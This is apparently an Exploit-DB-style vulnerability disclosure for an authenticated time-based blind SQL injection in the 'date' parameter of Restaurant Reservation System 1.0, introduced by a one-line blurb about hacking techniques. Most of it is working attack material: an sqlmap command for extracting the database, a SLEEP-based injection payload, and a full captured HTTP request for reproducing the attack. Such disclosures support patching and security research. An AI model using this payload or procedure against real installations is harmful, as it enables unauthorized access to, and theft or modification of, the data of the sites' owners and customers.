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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

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# Exploit Title: Restaurant Reservation System 1.0 - 'date' SQL Injection (Authenticated)
# Date: 2020-10-05
# Exploit Author: b1nary
# Vendor Homepage: https://www.sourcecodester.com/php/14482/restaurant-reservation-system-php-full-source-code-2020.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/janobe/restaurants_3.zip
# Version: 1.0
# Tested on: Linux + Apache2

------------------------------------------------------------------------------------

1. Description:
----------------------

Restaurant Reservation System 1.0 allows SQL Injection via parameter 'date' in
includes/reservation.inc.php. Exploiting this issue could allow an attacker to compromise
the application, access or modify data, or exploit latent vulnerabilities
in the underlying database.


2. Proof of Concept:
----------------------

In Burpsuite intercept the request from the affected page with
'date' parameter and save it like re.req. Then run SQLmap to extract the
data from the database:

sqlmap -r re.req --dbms=mysql


3. Example payload:
----------------------

(time-based blind)

fname=user&lname=user&date=2020-10-14' AND (SELECT 1934 FROM (SELECT(SLEEP(5)))lmWi) AND 
'navS'='navS&time=16:00 - 20:00&num_guests=2&tele=123456789&comments=null&reserv-submit=


4. Burpsuite request:
----------------------

POST /restaurant/includes/reservation.inc.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 117
Origin: http://127.0.0.1
DNT: 1
Connection: close
Referer: http://127.0.0.1/restaurant/reservation.php
Cookie: PHPSESSID=r355njdkuddu4ac0a784i9i69m
Upgrade-Insecure-Requests: 1

fname=user&lname=user&date=2020-10-14&time=16%3A00+-+20%3A00&num_guests=2&tele=123456789&comments=null&reserv-submit=